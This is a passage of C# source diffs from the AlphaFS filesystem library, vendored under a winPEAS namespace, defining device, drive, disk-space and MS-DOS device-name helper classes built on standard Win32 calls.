/// <param name="host">The DNS or NetBIOS name of the remote server. <c>null</c> refers to the local host.</param>
//[SecurityCritical]
//public DeviceInfo(string host)
//{
// HostName = Host.GetUncName(host).Replace(Path.UncPrefix, string.Empty);
//}
#endregion // Constructors
#region Methods
/// <summary>Enumerates all available devices on the local host.</summary>
/// <param name="deviceGuid">One of the <see cref="Filesystem.DeviceGuid"/> devices.</param>
/// <returns><see cref="IEnumerable{DeviceInfo}"/> instances of type <see cref="Filesystem.DeviceGuid"/> from the local host.</returns>
//[SecurityCritical]
//public IEnumerable<DeviceInfo> EnumerateDevices(DeviceGuid deviceGuid)
//{
// return Device.EnumerateDevicesCore(HostName, deviceGuid, true);
//}
#endregion // Methods
#region Properties
/// <summary>Represents the <see cref="Guid"/> value of the base container identifier (ID) .The Windows Plug and Play (PnP) manager assigns this value to the device node (devnode).</summary>
public Guid BaseContainerId { get; internal set; }
/// <summary>Represents the name of the device setup class that a device instance belongs to.</summary>
public string DeviceClass { get; internal set; }
/// <summary>Represents the <see cref="Guid"/> of the device setup class that a device instance belongs to.</summary>
public Guid ClassGuid { get; internal set; }
/// <summary>Represents the list of compatible identifiers for a device instance.</summary>
public string CompatibleIds { get; internal set; }
/// <summary>Represents a description of a device instance.</summary>
public string DeviceDescription { get; internal set; }
/// <summary>The device interface path.</summary>
public string DevicePath { get; internal set; }
/// <summary>Represents the registry entry name of the driver key for a device instance.</summary>
public string Driver { get; internal set; }
/// <summary>Represents the name of the enumerator for a device instance.</summary>
public string EnumeratorName { get; internal set; }
/// <summary>Represents the friendly name of a device instance.</summary>
public string FriendlyName { get; internal set; }
/// <summary>Represents the list of hardware identifiers for a device instance.</summary>
public string HardwareId { get; internal set; }
/// <summary>The host name that was passed to the class constructor.</summary>
public string HostName { get; internal set; }
/// <summary>Gets the instance Id of the device.</summary>
public string InstanceId { get; internal set; }
/// <summary>Represents the bus-specific physical location of a device instance.</summary>
public string LocationInformation { get; internal set; }
/// <summary>Represents the location of a device instance in the device tree.</summary>
public string LocationPaths { get; internal set; }
/// <summary>Represents the name of the manufacturer of a device instance.</summary>
public string Manufacturer { get; internal set; }
/// <summary>Encapsulates the physical device location information provided by a device's firmware to Windows.</summary>
public string PhysicalDeviceObjectName { get; internal set; }
/// <summary>Represents the name of the service that is installed for a device instance.</summary>
public string Service { get; internal set; }
#endregion // Properties
}
}

View File

@@ -0,0 +1,272 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Diagnostics.CodeAnalysis;
using System.Globalization;
using System.Runtime.InteropServices;
using System.Security;
using winPEAS._3rdParty.AlphaFS;
namespace Alphaleonis.Win32.Filesystem
{
/// <summary>Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space,
/// the total amount of free space, and the total amount of free space available to the user that is associated with the calling thread.
/// <para>This class cannot be inherited.</para>
/// </summary>
[Serializable]
[SecurityCritical]
public sealed class DiskSpaceInfo
{
[NonSerialized] private readonly bool _initGetClusterInfo = true;
[NonSerialized] private readonly bool _initGetSpaceInfo = true;
[NonSerialized] private readonly CultureInfo _cultureInfo = CultureInfo.CurrentCulture;
[NonSerialized] private readonly bool _continueOnAccessError;
/// <summary>Initializes a DiskSpaceInfo instance.</summary>
/// <param name="drivePath">A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \\server\share</param>
/// <Remark>This is a Lazyloading object; call <see cref="Refresh()"/> to populate all properties first before accessing.</Remark>
[SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")]
[SecurityCritical]
public DiskSpaceInfo(string drivePath)
{
if (Utils.IsNullOrWhiteSpace(drivePath))
throw new ArgumentNullException("drivePath");
drivePath = drivePath.Length == 1 ? drivePath + Path.VolumeSeparatorChar : Path.GetPathRoot(drivePath, false);
if (Utils.IsNullOrWhiteSpace(drivePath))
throw new ArgumentException(Resources.InvalidDriveLetterArgument, "drivePath");
// MSDN:
// If this parameter is a UNC name, it must include a trailing backslash (for example, "\\MyServer\MyShare\").
// Furthermore, a drive specification must have a trailing backslash (for example, "C:\").
// The calling application must have FILE_LIST_DIRECTORY access rights for this directory.
DriveName = Path.AddTrailingDirectorySeparator(drivePath, false);
}
/// <summary>Initializes a DiskSpaceInfo instance.</summary>
/// <param name="drivePath">A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \\server\share</param>
/// <param name="spaceInfoType"><c>null</c> gets both size- and disk cluster information. <c>true</c> Get only disk cluster information, <c>false</c> Get only size information.</param>
/// <param name="refresh">Refreshes the state of the object.</param>
/// <param name="continueOnException"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as unavailable resources.</param>
[SecurityCritical]
public DiskSpaceInfo(string drivePath, bool? spaceInfoType, bool refresh, bool continueOnException) : this(drivePath)
{
if (spaceInfoType == null)
{
_initGetSpaceInfo = true;
_initGetClusterInfo = true;
}
else
{
_initGetSpaceInfo = (bool) !spaceInfoType;
_initGetClusterInfo = (bool) spaceInfoType;
}
_continueOnAccessError = continueOnException;
if (refresh)
Refresh();
}
/// <summary>Indicates the amount of available free space on a drive, formatted as percentage.</summary>
public string AvailableFreeSpacePercent
{
get
{
return PercentCalculate(TotalNumberOfBytes - (TotalNumberOfBytes - TotalNumberOfFreeBytes), 0, TotalNumberOfBytes).ToString("0.##", _cultureInfo) + "%";
}
}
/// <summary>Indicates the amount of available free space on a drive, formatted as a unit size.</summary>
public string AvailableFreeSpaceUnitSize
{
get { return Utils.UnitSizeToText(TotalNumberOfFreeBytes, _cultureInfo); }
}
/// <summary>Returns the Clusters size.</summary>
public long ClusterSize
{
get { return SectorsPerCluster * BytesPerSector; }
}
/// <summary>Gets the name of a drive.</summary>
/// <returns>The name of the drive.</returns>
/// <remarks>This property is the name assigned to the drive, such as C:\ or E:\</remarks>
public string DriveName { get; private set; }
/// <summary>The total number of bytes on a disk that are available to the user who is associated with the calling thread, formatted as a unit size.</summary>
public string TotalSizeUnitSize
{
get { return Utils.UnitSizeToText(TotalNumberOfBytes, _cultureInfo); }
}
/// <summary>Indicates the amount of used space on a drive, formatted as percentage.</summary>
public string UsedSpacePercent
{
get
{
return PercentCalculate(TotalNumberOfBytes - FreeBytesAvailable, 0, TotalNumberOfBytes).ToString("0.##", _cultureInfo) + "%";
}
}
/// <summary>Indicates the amount of used space on a drive, formatted as a unit size.</summary>
public string UsedSpaceUnitSize
{
get { return Utils.UnitSizeToText(TotalNumberOfBytes - FreeBytesAvailable, _cultureInfo); }
}
/// <summary>The total number of free bytes on a disk that are available to the user who is associated with the calling thread.</summary>
public long FreeBytesAvailable { get; private set; }
/// <summary>The total number of bytes on a disk that are available to the user who is associated with the calling thread.</summary>
public long TotalNumberOfBytes { get; private set; }
/// <summary>The total number of free bytes on a disk.</summary>
public long TotalNumberOfFreeBytes { get; private set; }
/// <summary>The number of bytes per sector.</summary>
public int BytesPerSector { get; private set; }
/// <summary>The total number of free clusters on the disk that are available to the user who is associated with the calling thread.</summary>
public int NumberOfFreeClusters { get; private set; }
/// <summary>The number of sectors per cluster.</summary>
public int SectorsPerCluster { get; private set; }
/// <summary>The total number of clusters on the disk that are available to the user who is associated with the calling thread.
/// If per-user disk quotas are in use, this value may be less than the total number of clusters on the disk.
/// </summary>
public long TotalNumberOfClusters { get; private set; }
/// <summary>Refreshes the state of the object.</summary>
public void Refresh()
{
Reset();
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
{
int lastError;
// Get size information.
if (_initGetSpaceInfo)
{
long freeBytesAvailable, totalNumberOfBytes, totalNumberOfFreeBytes;
var success = NativeMethods.GetDiskFreeSpaceEx(DriveName, out freeBytesAvailable, out totalNumberOfBytes, out totalNumberOfFreeBytes);
lastError = Marshal.GetLastWin32Error();
if (!success && !_continueOnAccessError && lastError != Win32Errors.ERROR_NOT_READY)
NativeError.ThrowException(lastError, DriveName);
FreeBytesAvailable = freeBytesAvailable;
TotalNumberOfBytes = totalNumberOfBytes;
TotalNumberOfFreeBytes = totalNumberOfFreeBytes;
}
// Get cluster information.
if (_initGetClusterInfo)
{
int sectorsPerCluster, bytesPerSector, numberOfFreeClusters;
uint totalNumberOfClusters;
var success = NativeMethods.GetDiskFreeSpace(DriveName, out sectorsPerCluster, out bytesPerSector, out numberOfFreeClusters, out totalNumberOfClusters);
lastError = Marshal.GetLastWin32Error();
if (!success && !_continueOnAccessError && lastError != Win32Errors.ERROR_NOT_READY)
NativeError.ThrowException(lastError, DriveName);
BytesPerSector = bytesPerSector;
NumberOfFreeClusters = numberOfFreeClusters;
SectorsPerCluster = sectorsPerCluster;
TotalNumberOfClusters = totalNumberOfClusters;
}
}
}
/// <summary>Initializes all <see ref="Alphaleonis.Win32.Filesystem.DiskSpaceInfo"/> properties to 0.</summary>
private void Reset()
{
if (_initGetSpaceInfo)
{
FreeBytesAvailable = 0;
TotalNumberOfBytes = 0;
TotalNumberOfFreeBytes = 0;
}
if (_initGetClusterInfo)
{
BytesPerSector = 0;
NumberOfFreeClusters = 0;
SectorsPerCluster = 0;
TotalNumberOfClusters = 0;
}
}
/// <summary>Returns the drive name.</summary>
/// <returns>A string that represents this object.</returns>
public override string ToString()
{
return DriveName;
}
/// <summary>Calculates a percentage value.</summary>
private static double PercentCalculate(double currentValue, double minimumValue, double maximumValue)
{
return currentValue < 0 || maximumValue <= 0 ? 0 : currentValue * 100 / (maximumValue - minimumValue);
}
}
}

View File

@@ -0,0 +1,415 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.IO;
using System.Linq;
using System.Security;
using winPEAS._3rdParty.AlphaFS;
namespace Alphaleonis.Win32.Filesystem
{
/// <summary>Provides access to information on a local or remote drive.</summary>
/// <remarks>
/// This class models a drive and provides methods and properties to query for drive information.
/// Use DriveInfo to determine what drives are available, and what type of drives they are.
/// You can also query to determine the capacity and available free space on the drive.
/// </remarks>
[Serializable]
[SecurityCritical]
public sealed class DriveInfo
{
[NonSerialized] private readonly VolumeInfo _volumeInfo;
[NonSerialized] private readonly DiskSpaceInfo _dsi;
[NonSerialized] private bool _initDsie;
[NonSerialized] private DriveType? _driveType;
[NonSerialized] private string _dosDeviceName;
[NonSerialized] private DirectoryInfo _rootDirectory;
[NonSerialized] private readonly string _name;
#region Constructors
/// <summary>Provides access to information on the specified drive.</summary>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="ArgumentException"/>
/// <param name="driveName">
/// A valid drive path or drive letter.
/// <para>This can be either uppercase or lowercase,</para>
/// <para>'a' to 'z' or a network share in the format: \\server\share</para>
/// </param>
[SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")]
[SecurityCritical]
public DriveInfo(string driveName)
{
if (Utils.IsNullOrWhiteSpace(driveName))
throw new ArgumentNullException("driveName");
driveName = driveName.Length == 1 ? driveName + Path.VolumeSeparatorChar : Path.GetPathRoot(driveName, false);
if (Utils.IsNullOrWhiteSpace(driveName))
throw new ArgumentException(Resources.InvalidDriveLetterArgument, "driveName");
_name = Path.AddTrailingDirectorySeparator(driveName, false);
// Initiate VolumeInfo() lazyload instance.
_volumeInfo = new VolumeInfo(_name, false, true);
// Initiate DiskSpaceInfo() lazyload instance.
_dsi = new DiskSpaceInfo(_name, null, false, true);
}
#endregion // Constructors
#region Properties
/// <summary>Indicates the amount of available free space on a drive.</summary>
/// <returns>The amount of free space available on the drive, in bytes.</returns>
/// <remarks>This property indicates the amount of free space available on the drive. Note that this number may be different from the <see cref="TotalFreeSpace"/> number because this property takes into account disk quotas.</remarks>
public long AvailableFreeSpace
{
get
{
GetDeviceInfo(3, 0);
return null == _dsi ? 0 : _dsi.FreeBytesAvailable;
}
}
/// <summary>Gets the name of the file system, such as NTFS or FAT32.</summary>
/// <remarks>Use DriveFormat to determine what formatting a drive uses.</remarks>
public string DriveFormat
{
get { return (string) GetDeviceInfo(0, 1); }
}
/// <summary>Gets the drive type.</summary>
/// <returns>One of the <see cref="System.IO.DriveType"/> values.</returns>
/// <remarks>
/// The DriveType property indicates whether a drive is any of: CDRom, Fixed, Unknown, Network, NoRootDirectory,
/// Ram, Removable, or Unknown. Values are listed in the <see cref="System.IO.DriveType"/> enumeration.
/// </remarks>
public DriveType DriveType
{
get { return (DriveType) GetDeviceInfo(2, 0); }
}
/// <summary>Gets a value indicating whether a drive is ready.</summary>
/// <returns><c>true</c> if the drive is ready; otherwise, <c>false</c>.</returns>
/// <remarks>
/// IsReady indicates whether a drive is ready. For example, it indicates whether a CD is in a CD drive or whether
/// a removable storage device is ready for read/write operations. If you do not test whether a drive is ready, and
/// it is not ready, querying the drive using DriveInfo will raise an IOException.
///
/// Do not rely on IsReady() to avoid catching exceptions from other members such as TotalSize, TotalFreeSpace, and DriveFormat.
/// Between the time that your code checks IsReady and then accesses one of the other properties
/// (even if the access occurs immediately after the check), a drive may have been disconnected or a disk may have been removed.
/// </remarks>
public bool IsReady
{
get { return File.ExistsCore(null, true, Name, PathFormat.LongFullPath); }
}
/// <summary>Gets the name of the drive.</summary>
/// <returns>The name of the drive.</returns>
/// <remarks>This property is the name assigned to the drive, such as C:\ or E:\</remarks>
public string Name
{
get { return _name; }
}
/// <summary>Gets the root directory of a drive.</summary>
/// <returns>A DirectoryInfo object that contains the root directory of the drive.</returns>
public DirectoryInfo RootDirectory
{
get { return (DirectoryInfo) GetDeviceInfo(2, 1); }
}
/// <summary>Gets the total amount of free space available on a drive.</summary>
/// <returns>The total free space available on a drive, in bytes.</returns>
/// <remarks>This property indicates the total amount of free space available on the drive, not just what is available to the current user.</remarks>
public long TotalFreeSpace
{
get
{
GetDeviceInfo(3, 0);
return null == _dsi ? 0 : _dsi.TotalNumberOfFreeBytes;
}
}
/// <summary>Gets the total size of storage space on a drive.</summary>
/// <returns>The total size of the drive, in bytes.</returns>
/// <remarks>This property indicates the total size of the drive in bytes, not just what is available to the current user.</remarks>
public long TotalSize
{
get
{
GetDeviceInfo(3, 0);
return null == _dsi ? 0 : _dsi.TotalNumberOfBytes;
}
}
/// <summary>Gets or sets the volume label of a drive.</summary>
/// <returns>The volume label.</returns>
/// <remarks>
/// The label length is determined by the operating system. For example, NTFS allows a volume label
/// to be up to 32 characters long. Note that <c>null</c> is a valid VolumeLabel.
/// </remarks>
public string VolumeLabel
{
get { return (string) GetDeviceInfo(0, 2); }
set { Volume.SetVolumeLabel(Name, value); }
}
/// <summary>[AlphaFS] Returns the <see ref="Alphaleonis.Win32.Filesystem.DiskSpaceInfo"/> instance.</summary>
public DiskSpaceInfo DiskSpaceInfo
{
get
{
GetDeviceInfo(3, 0);
return _dsi;
}
}
/// <summary>[AlphaFS] The MS-DOS device name.</summary>
public string DosDeviceName
{
get { return (string) GetDeviceInfo(1, 0); }
}
/// <summary>[AlphaFS] Indicates if this drive is a SUBST.EXE / DefineDosDevice drive mapping.</summary>
public bool IsDosDeviceSubstitute
{
get { return !Utils.IsNullOrWhiteSpace(DosDeviceName) && DosDeviceName.StartsWith(Path.NonInterpretedPathPrefix, StringComparison.OrdinalIgnoreCase); }
}
/// <summary>[AlphaFS] Indicates if this drive is a UNC path.</summary>
public bool IsUnc
{
get
{
return !IsDosDeviceSubstitute && DriveType == DriveType.Network ||
// Handle Host devices with file systems: FAT/FAT32, UDF (CDRom), ...
Name.StartsWith(Path.UncPrefix, StringComparison.Ordinal) && DriveType == DriveType.NoRootDirectory && DriveFormat.Equals(DriveType.Unknown.ToString(), StringComparison.OrdinalIgnoreCase);
}
}
/// <summary>[AlphaFS] Determines whether the specified volume name is a defined volume on the current computer.</summary>
public bool IsVolume
{
get { return null != GetDeviceInfo(0, 0); }
}
/// <summary>[AlphaFS] Contains information about a file-system volume.</summary>
/// <returns>A VolumeInfo object that contains file-system volume information of the drive.</returns>
public VolumeInfo VolumeInfo
{
get { return (VolumeInfo) GetDeviceInfo(0, 0); }
}
#endregion // Properties
#region Methods
#region .NET
/// <summary>Retrieves the <see cref="DriveInfo"/> of all logical drives on the Computer.</summary>
/// <returns>An array of type <see cref="Alphaleonis.Win32.Filesystem.DriveInfo"/> that represents the logical drives on the Computer.</returns>
[SecurityCritical]
public static DriveInfo[] GetDrives()
{
return Directory.EnumerateLogicalDrivesCore(false, false).ToArray();
}
/// <summary>Returns a drive name as a string.</summary>
/// <returns>The name of the drive.</returns>
/// <remarks>This method returns the Name property.</remarks>
public override string ToString()
{
return _name;
}
#endregion // .NET
/// <summary>[AlphaFS] Enumerates the drive names of all logical drives on the Computer.</summary>
/// <param name="fromEnvironment">Retrieve logical drives as known by the Environment.</param>
/// <param name="isReady">Retrieve only when accessible (IsReady) logical drives.</param>
/// <returns>
/// An IEnumerable of type <see cref="Alphaleonis.Win32.Filesystem.DriveInfo"/> that represents
/// the logical drives on the Computer.
/// </returns>
[SecurityCritical]
public static IEnumerable<DriveInfo> EnumerateDrives(bool fromEnvironment, bool isReady)
{
return Directory.EnumerateLogicalDrivesCore(fromEnvironment, isReady);
}
/// <summary>[AlphaFS] Gets the first available drive letter on the local system.</summary>
/// <returns>A drive letter as <see cref="char"/>. When no drive letters are available, an exception is thrown.</returns>
/// <remarks>The letters "A" and "B" are reserved for floppy drives and will never be returned by this function.</remarks>
public static char GetFreeDriveLetter()
{
return GetFreeDriveLetter(false);
}
/// <summary>Gets an available drive letter on the local system.</summary>
/// <param name="getLastAvailable">When <c>true</c> get the last available drive letter. When <c>false</c> gets the first available drive letter.</param>
/// <returns>A drive letter as <see cref="char"/>. When no drive letters are available, an exception is thrown.</returns>
/// <remarks>The letters "A" and "B" are reserved for floppy drives and will never be returned by this function.</remarks>
/// <exception cref="ArgumentOutOfRangeException">No drive letters available.</exception>
[SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")]
public static char GetFreeDriveLetter(bool getLastAvailable)
{
var freeDriveLetters = "CDEFGHIJKLMNOPQRSTUVWXYZ".Except(Directory.EnumerateLogicalDrivesCore(false, false).Select(d => d.Name[0]));
try
{
return getLastAvailable ? freeDriveLetters.Last() : freeDriveLetters.First();
}
catch
{
throw new ArgumentOutOfRangeException(Resources.No_Drive_Letters_Available);
}
}
#endregion // Methods
#region Private Methods
/// <summary>Retrieves information about the file system and volume associated with the specified root file or directorystream.</summary>
[SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")]
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
[SecurityCritical]
private object GetDeviceInfo(int type, int mode)
{
try
{
switch (type)
{
#region Volume
// VolumeInfo properties.
case 0:
if (Utils.IsNullOrWhiteSpace(_volumeInfo.FullPath))
_volumeInfo.Refresh();
switch (mode)
{
case 0:
// IsVolume, VolumeInfo
return _volumeInfo;
case 1:
// DriveFormat
return null == _volumeInfo ? DriveType.Unknown.ToString() : _volumeInfo.FileSystemName ?? DriveType.Unknown.ToString();
case 2:
// VolumeLabel
return null == _volumeInfo ? string.Empty : _volumeInfo.Name ?? string.Empty;
}
break;
// Volume related.
case 1:
switch (mode)
{
case 0:
// DosDeviceName
return _dosDeviceName ?? (_dosDeviceName = Volume.GetVolumeDeviceName(Name));
}
break;
#endregion // Volume
#region Drive
// Drive related.
case 2:
switch (mode)
{
case 0:
// DriveType
return _driveType ?? (_driveType = Volume.GetDriveType(Name));
case 1:
// RootDirectory
return _rootDirectory ?? (_rootDirectory = new DirectoryInfo(null, Name, PathFormat.RelativePath));
}
break;
// DiskSpaceInfo related.
case 3:
switch (mode)
{
case 0:
// AvailableFreeSpace, TotalFreeSpace, TotalSize, DiskSpaceInfo
if (!_initDsie)
{
_dsi.Refresh();
_initDsie = true;
}
break;
}
break;
#endregion // Drive
}
}
catch
{
}
return type == 0 && mode > 0 ? string.Empty : null;
}
#endregion // Private
}
}

View File

@@ -0,0 +1,119 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Runtime.InteropServices;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Defines, redefines, or deletes MS-DOS device names.</summary>
/// <param name="deviceName">An MS-DOS device name string specifying the device the function is defining, redefining, or deleting.</param>
/// <param name="targetPath">An MS-DOS path that will implement this device.</param>
[SecurityCritical]
public static void DefineDosDevice(string deviceName, string targetPath)
{
DefineDosDeviceCore(true, deviceName, targetPath, DosDeviceAttributes.None, false);
}
/// <summary>[AlphaFS] Defines, redefines, or deletes MS-DOS device names.</summary>
/// <param name="deviceName">
/// An MS-DOS device name string specifying the device the function is defining, redefining, or deleting.
/// </param>
/// <param name="targetPath">
/// &gt;An MS-DOS path that will implement this device. If <paramref name="deviceAttributes"/> parameter has the
/// <see cref="DosDeviceAttributes.RawTargetPath"/> flag specified, <paramref name="targetPath"/> is used as-is.
/// </param>
/// <param name="deviceAttributes">
/// The controllable aspects of the DefineDosDevice function, <see cref="DosDeviceAttributes"/> flags which will be combined with the
/// default.
/// </param>
[SecurityCritical]
public static void DefineDosDevice(string deviceName, string targetPath, DosDeviceAttributes deviceAttributes)
{
DefineDosDeviceCore(true, deviceName, targetPath, deviceAttributes, false);
}
/// <summary>Defines, redefines, or deletes MS-DOS device names.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <param name="isDefine">
/// <c>true</c> defines a new MS-DOS device. <c>false</c> deletes a previously defined MS-DOS device.
/// </param>
/// <param name="deviceName">
/// An MS-DOS device name string specifying the device the function is defining, redefining, or deleting.
/// </param>
/// <param name="targetPath">
/// A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the
/// <see cref="DosDeviceAttributes.RawTargetPath"/> flag is specified, in which case this string is a path string.
/// </param>
/// <param name="deviceAttributes">
/// The controllable aspects of the DefineDosDevice function, <see cref="DosDeviceAttributes"/> flags which will be combined with the
/// default.
/// </param>
/// <param name="exactMatch">
/// Only delete MS-DOS device on an exact name match. If <paramref name="exactMatch"/> is <c>true</c>,
/// <paramref name="targetPath"/> must be the same path used to create the mapping.
/// </param>
[SecurityCritical]
internal static void DefineDosDeviceCore(bool isDefine, string deviceName, string targetPath, DosDeviceAttributes deviceAttributes, bool exactMatch)
{
if (Utils.IsNullOrWhiteSpace(deviceName))
throw new ArgumentNullException("deviceName");
if (isDefine)
{
// targetPath is allowed to be null.
// In no case is a trailing backslash ("\") allowed.
deviceName = Path.GetRegularPathCore(deviceName, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars, false);
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
{
var success = NativeMethods.DefineDosDevice(deviceAttributes, deviceName, targetPath);
var lastError = Marshal.GetLastWin32Error();
if (!success)
NativeError.ThrowException(lastError, deviceName, targetPath);
}
}
else
{
// A pointer to a path string that will implement this device.
// The string is an MS-DOS path string unless the DDD_RAW_TARGET_PATH flag is specified, in which case this string is a path string.
if (exactMatch && !Utils.IsNullOrWhiteSpace(targetPath))
deviceAttributes = deviceAttributes | DosDeviceAttributes.ExactMatchOnRemove | DosDeviceAttributes.RawTargetPath;
// Remove the MS-DOS device name. First, get the name of the Windows NT device
// from the symbolic link and then delete the symbolic link from the namespace.
DefineDosDevice(deviceName, targetPath, deviceAttributes);
}
}
}
}

View File

@@ -0,0 +1,86 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System.Diagnostics.CodeAnalysis;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Deletes an MS-DOS device name.</summary>
/// <param name="deviceName">An MS-DOS device name specifying the device to delete.</param>
[SecurityCritical]
public static void DeleteDosDevice(string deviceName)
{
DefineDosDeviceCore(false, deviceName, null, DosDeviceAttributes.RemoveDefinition, false);
}
/// <summary>[AlphaFS] Deletes an MS-DOS device name.</summary>
/// <param name="deviceName">An MS-DOS device name string specifying the device to delete.</param>
/// <param name="targetPath">
/// A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the
/// <see cref="DosDeviceAttributes.RawTargetPath"/> flag is specified, in which case this string is a path string.
/// </param>
[SecurityCritical]
public static void DeleteDosDevice(string deviceName, string targetPath)
{
DefineDosDeviceCore(false, deviceName, targetPath, DosDeviceAttributes.RemoveDefinition, false);
}
/// <summary>[AlphaFS] Deletes an MS-DOS device name.</summary>
/// <param name="deviceName">An MS-DOS device name string specifying the device to delete.</param>
/// <param name="targetPath">
/// A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the
/// <see cref="DosDeviceAttributes.RawTargetPath"/> flag is specified, in which case this string is a path string.
/// </param>
/// <param name="exactMatch">
/// Only delete MS-DOS device on an exact name match. If <paramref name="exactMatch"/> is <c>true</c>,
/// <paramref name="targetPath"/> must be the same path used to create the mapping.
/// </param>
[SecurityCritical]
public static void DeleteDosDevice(string deviceName, string targetPath, bool exactMatch)
{
DefineDosDeviceCore(false, deviceName, targetPath, DosDeviceAttributes.RemoveDefinition, exactMatch);
}
/// <summary>[AlphaFS] Deletes an MS-DOS device name.</summary>
/// <param name="deviceName">An MS-DOS device name string specifying the device to delete.</param>
/// <param name="targetPath">
/// A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the
/// <see cref="DosDeviceAttributes.RawTargetPath"/> flag is specified, in which case this string is a path string.
/// </param>
/// <param name="deviceAttributes">
/// The controllable aspects of the DefineDosDevice function <see cref="DosDeviceAttributes"/> flags which will be combined with the
/// default.
